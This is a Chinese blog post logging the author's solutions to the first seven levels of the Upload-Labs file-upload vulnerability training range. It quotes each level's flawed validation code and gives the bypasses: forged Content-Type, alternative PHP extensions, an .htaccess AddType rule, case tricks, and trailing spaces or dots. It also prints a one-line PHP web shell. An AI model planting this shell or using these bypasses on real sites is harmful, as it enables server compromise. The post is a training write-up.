upload labs 练习记录

鸽了好几天的Upload-Labs终于开始练习了。(陇剑杯线下赛的时候upload一些函数突然忘记才想起拾起这个练习靶场 bushi)

Pass-01

使用JavaScript对上传的文件进行检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

那么只需要禁止这一函数的调用即可绕过检测。

Pass-02

第二关对文件类型进行了检测

1
($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')

只需要使用Burp抓包,修改Content-Typeimage/jpegimage/pngimage/gif三者之一即可绕过

Pass-03

源码内对文件后缀名进行了黑名单处理,这样我们可以通过htaccess绕过或者其他可以被php解析的文件后缀名绕过。这里我用phtml这个后缀名来绕过

getyugu.phtml

1
<?php system($_GET["yugu"]); ?>

其他后缀名:php、php3、php4、php5、phtml、pht

Pass-04

这里把第三关的后缀名全部拉黑了,所以使用另一个htaccess来绕过

1
AddType application/x-httpd-php .txt

使.txt后缀名可以被解析成php,再上传一个内容为一句话木马的txt文件即可以txt执行php

Pass-05

本关的提示是禁止了.htaccess绕过,但是还有个文件的作用和.htaccess是一样的,那就是.user.ini,不过要是这么做,就被它套路了!

1
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;

它使用了文件重命名,这样就没办法上传.user.ini了,那只能看看有没有其他的漏洞。

1
//$file_ext = strtolower($file_ext);

好在它删除了对文件后缀名不同大小写的检测,那么可以构造PhTmL来绕过

Pass-06

缺少了去除尾部空格的处理

1
//$file_ext = trim($file_ext);

只需要在末尾加入一个空格即可绕过

Pass-07

这道题的漏洞需要在Windows环境下,Windows环境下,文件末尾的.会被默认删除,利用这一特点,可以构造一个末尾含有小数点的一句话木马来绕过。

1
//$file_name = deldot($file_name);//删除文件名末尾的点
作者

饼干

发布于

2021-09-30

更新于

2021-09-30

许可协议

评论